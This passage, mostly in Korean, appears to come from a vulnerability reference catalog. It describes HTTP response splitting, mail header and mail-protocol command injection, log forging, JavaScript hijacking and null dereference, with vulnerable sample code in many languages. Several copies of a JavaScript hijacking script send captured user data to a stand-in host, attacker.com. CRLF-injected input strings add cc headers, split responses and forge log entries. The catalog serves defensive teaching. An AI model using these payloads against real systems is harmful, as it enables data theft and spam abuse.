을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 쿠키 조작 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.author
를 읽어 들여 HTTP 응답의 쿠키 헤더에 설정합니다.
...
author = Request.Form(AUTHOR_PARAM)
Response.Cookies("author") = author
Response.Cookies("author").Expires = cookieExpiration
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
CC
, BCC
등의 임의 헤더를 추가할 수 있습니다.CC
헤더를 삽입할 수 있습니다.
func handler(w http.ResponseWriter, r *http.Request) {
subject := r.FormValue("subject")
body := r.FormValue("body")
auth := smtp.PlainAuth("identity", "user@example.com", "password", "mail.example.com")
to := []string{"recipient@example.net"}
msg := []byte("To: " + recipient1 + "\r\n" + subject + "\r\n" + body + "\r\n")
err := smtp.SendMail("mail.example.com:25", auth, "sender@example.org", to, msg)
if err != nil {
log.Fatal(err)
}
}
...
subject: [Contact us query] Page not working
...
subject
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ..."과 같은 악의적인 문자열을 제출하는 경우 SMTP 헤더는 다음과 같은 형식이 됩니다.
...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...
CC
또는 BCC
와 같은 임의의 헤더를 추가할 수 있습니다.CC
헤더를 삽입할 수 있습니다.
String subject = request.getParameter("subject");
String body = request.getParameter("body");
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress("webform@acme.com"));
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("support@acme.com"));
message.setSubject("[Contact us query] " + subject);
message.setText(body);
Transport.send(message);
...
subject: [Contact us query] Page not working
...
subject
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ..."과 같은 악성 문자열을 전송하는 경우 SMTP 헤더의 형식은 다음 중 하나가 됩니다.
...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...
CC
또는 BCC
와 같은 임의의 헤더를 추가할 수 있습니다.CC
헤더를 삽입할 수 있습니다.
$subject = $_GET['subject'];
$body = $_GET['body'];
mail("support@acme.com", "[Contact us query] " . $subject, $body);
...
subject: [Contact us query] Page not working
...
subject
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ..."과 같은 악성 문자열을 전송하는 경우 SMTP 헤더의 형식은 다음 중 하나가 됩니다.
...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...
CC
또는 BCC
와 같은 임의의 헤더를 추가할 수 있습니다.CC
헤더를 삽입할 수 있습니다.
body = request.GET['body']
subject = request.GET['subject']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
headers = "\r\n".join(["from: webform@acme.com",
"subject: [Contact us query] " + subject,
"to: support@acme.com",
"mime-version: 1.0",
"content-type: text/html"])
content = headers + "\r\n\r\n" + body
session.sendmail("webform@acme.com", "support@acme.com", content)
...
subject: [Contact us query] Page not working
...
subject
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ..."과 같은 악성 문자열을 전송하는 경우 SMTP 헤더의 형식은 다음 중 하나가 됩니다.
...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
태그를 사용하여 평가할 수 있는 유효한 JavaScript로 구성되는 응답을 생성하므로 JavaScript 하이재킹(Hijacking)에 대해 취약합니다[1]. 기본적으로, 프레임워크는 요청을 전송하는 데 POST 메서드를 사용하기 때문에 악성 <script>
태그에서 요청을 생성하기 어렵게 합니다(<script>
태그는 GET 요청만 생성). 그러나, Microsoft AJAX.NET은 GET 요청을 사용하기 위한 메커니즘을 제공합니다. 사실, 많은 전문가들이 브라우저 캐싱에 영향을 주고 성능을 향상시키기 위해서 프로그래머에게 GET 요청을 사용하도록 권장합니다.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
태그를 사용하여 평가할 수 있는 유효한 JavaScript로 구성되는 응답을 생성하므로 JavaScript 하이재킹(Hijacking)에 대해 취약합니다[1]. 기본적으로, 프레임워크는 요청을 전송하는 데 POST 메서드를 사용하기 때문에 악성 <script>
태그에서 요청을 생성하기 어렵게 합니다(<script>
태그는 GET 요청만 생성). 그러나, GWT는 GET 요청을 사용하기 위한 메커니즘을 제공합니다. 사실, 많은 전문가들이 브라우저 캐싱에 영향을 주고 성능을 향상시키기 위해서 프로그래머에게 GET 요청을 사용하도록 권장합니다.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
search
메서드로 전달되는 javax.naming.directory.SearchControls
인스턴스에서 returningObjectFlag
를 true
로 설정하거나 이 플래그를 대신 설정해 주는 라이브러리 함수를 사용하여 개체 반환 검색을 수행합니다.
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
val
에 문자열 "FOO
"을 전송하면 다음 항목이 기록됩니다.
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
VAL
에 문자열 "FOO
"을 전송하면 다음 항목이 기록됩니다.
VAL: FOO
FOO VAL: BAR
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
logout
에 대해 "twenty-one
" 문자열을 제출하고 "admin
"이라는 이름을 가진 사용자를 생성할 수 있는 경우 다음 항목이 기록됩니다.
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
"라는 사용자 이름을 생성할 수 있으면 다음 항목이 기록됩니다.
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
을 Android 플랫폼에 맞게 조정합니다.
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
logout
에 대해 "twenty-one
" 문자열을 제출하고 "admin
"이라는 이름을 가진 사용자를 생성할 수 있는 경우 다음 항목이 기록됩니다.
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
"라는 사용자 이름을 생성할 수 있으면 다음 항목이 기록됩니다.
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
logout
에 대해 "twenty-one
" 문자열을 제출하고 "admin
"이라는 이름을 가진 사용자를 생성할 수 있는 경우 다음 항목이 기록됩니다.
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
"라는 사용자 이름을 생성할 수 있으면 다음 항목이 기록됩니다.
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
val
에 문자열 "twenty-one
"을 전송하면 다음 항목이 기록됩니다.
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy
" 문자열을 전송하는 경우 다음 항목이 기록됩니다.
Failed to parse val=twenty-one
User logged out=badguy
CREATE
명령을 만듭니다. 공격자는 이 매개 변수를 사용하여 서버로 전송되는 명령을 수정하고 CRLF 문자를 사용하여 새 명령을 삽입할 수 있습니다.
...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
USER
및 PASS
명령을 만듭니다. 공격자는 이 매개 변수를 사용하여 서버로 전송되는 명령을 수정하고 CRLF 문자를 사용하여 새 명령을 삽입할 수 있습니다.
...
String username = request.getParameter("username");
String password = request.getParameter("password");
...
POP3SClient pop3 = new POP3SClient(proto, false);
pop3.login(username, password)
...
VRFY
명령을 작성합니다. 공격자는 이 매개 변수를 사용하여 서버로 전송된 명령을 수정하고 CRLF 문자를 사용하는 새 명령을 주입할 수 있습니다.
...
c, err := smtp.Dial(x)
if err != nil {
log.Fatal(err)
}
user := request.FormValue("USER")
c.Verify(user)
...
VRFY
명령을 만듭니다. 공격자는 이 매개 변수를 사용하여 서버로 전송되는 명령을 수정하고 CRLF 문자를 사용하여 새 명령을 삽입할 수 있습니다.
...
String user = request.getParameter("user");
SMTPSSLTransport transport = new SMTPSSLTransport(session,new URLName(Utilities.getProperty("smtp.server")));
transport.connect(Utilities.getProperty("smtp.server"), username, password);
transport.simpleCommand("VRFY " + user);
...
VRFY
명령을 만듭니다. 공격자는 이 매개 변수를 사용하여 서버로 전송되는 명령을 수정하고 CRLF 문자를 사용하여 새 명령을 삽입할 수 있습니다.
...
user = request.GET['user']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
session.docmd("VRFY", user)
...
null
을 반환하는 함수의 반환 값을 확인하지 않으므로 null 포인터를 역참조할 수도 있습니다.Equals()
를 호출하기 전에 Item
속성이 반환한 문자열이 null
인지 검사하지 않기 때문에 null
dereference가 발생할 수 있습니다.
string itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...
null
값을 역참조하다가 중지해도 상관 없습니다.”null
을 반환하는 함수의 반환 값을 확인하지 않으므로 null 포인터를 역참조할 수도 있습니다.malloc()
이 반환하는 포인터를 사용하기 전에 메모리 할당이 성공했는지 확인하지 않습니다.
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
req_size
가 너무 크거나 동시에 처리해야 할 요청이 너무 많아서 malloc()
호출이 실패했습니까? 또는 시간이 흐르면서 누적된 memory leak 때문에 발생했습니까? 오류를 처리하지 않고는 알 방법이 없습니다.null
을 반환하는 함수의 반환 값을 확인하지 않으므로 null 포인터를 역참조할 수도 있습니다.compareTo()
를 호출하기 전에 getParameter()
가 반환한 문자열이 null
인지 검사하지 않기 때문에 null
dereference가 발생할 수 있습니다.예제 2: 다음 코드는
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
null
로 설정되면 해당 속성이 항상 정의된다는 잘못된 가정을 하는 프로그래머가 역참조하는 시스템 속성을 보여줍니다.
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95") )
System.out.println("Not supported");
null
값을 역참조하다가 중지해도 상관 없습니다.”NullException
이 발생합니다.cmd
”라는 속성이 정의되어 있다고 가정합니다. 공격자가 “cmd
”가 정의되지 않도록 프로그램의 환경을 제어하게 되면 프로그램이 Trim()
메서드를 호출하려 할 때 null 포인터 예외 사항이 발생합니다.
string cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
null
인지 검사하기 전에 null
이 될 수 있는 포인터를 역참조할 경우 발생합니다. 검사 후 역참조(dereference-after-check) 오류는 프로그램이 null
인지 여부를 명시적으로 검사하지만, null
인 것으로 알려진 포인터를 역참조할 때 발생합니다. 이 유형의 오류는 철자 오류 또는 프로그래머의 실수로 발생합니다. 저장 후 역참조(dereference-after-store) 오류는 프로그램이 명시적으로 포인터를 null
로 설정하고 이를 나중에 역참조할 경우에 발생합니다. 이 오류는 프로그래머가 선언된 상태의 변수를 null
로 초기화하여 발생하는 경우가 많습니다.ptr
이 NULL
이 아닌 것으로 가정합니다. 이 가정은 프로그래머가 포인터를 역참조하면 명시적인 것이 됩니다. 프로그래머가 NULL
에 대해 ptr
을 검사하면 이 가정이 반박됩니다. if
문에서 검사할 때 ptr
이 NULL
이 되면 역참조될 때도 NULL
이 되어 조각화 오류가 발생할 수 있습니다.예제 2: 다음 코드에서 프로그래머는 변수
ptr->field = val;
...
if (ptr != NULL) {
...
}
ptr
이 NULL
임을 확인한 다음 실수로 역참조합니다. if
문에서 검사할 때 ptr
이 NULL
이면 null
dereference가 발생하여 조각화 오류가 일어납니다.예제 3: 다음 코드에서 프로그래머는
if (ptr == null) {
ptr->field = val;
...
}
'\0'
문자열이 실제로 0 또는 NULL
인 것을 잊고 null 포인터를 역참조하여 조각화 오류가 일어납니다.예제 4: 다음 코드에서 프로그래머는 명시적으로 변수
if (ptr == '\0') {
*ptr = val;
...
}
ptr
를 NULL
로 설정합니다. 나중에 프로그래머는 개체의 null
값을 검사하기 전에 ptr
를 역참조합니다.
*ptr = NULL;
...
ptr->field = val;
...
}
NullPointerException
이 발생합니다.cmd
”라는 속성이 정의되어 있다고 가정합니다. 공격자가 “cmd
”가 정의되지 않도록 프로그램의 환경을 제어하게 되면 프로그램이 trim()
메서드를 호출하려 할 때 null 포인터 예외 사항이 발생합니다.
String val = null;
...
cmd = System.getProperty("cmd");
if (cmd)
val = util.translateCommand(cmd);
...
cmd = val.trim();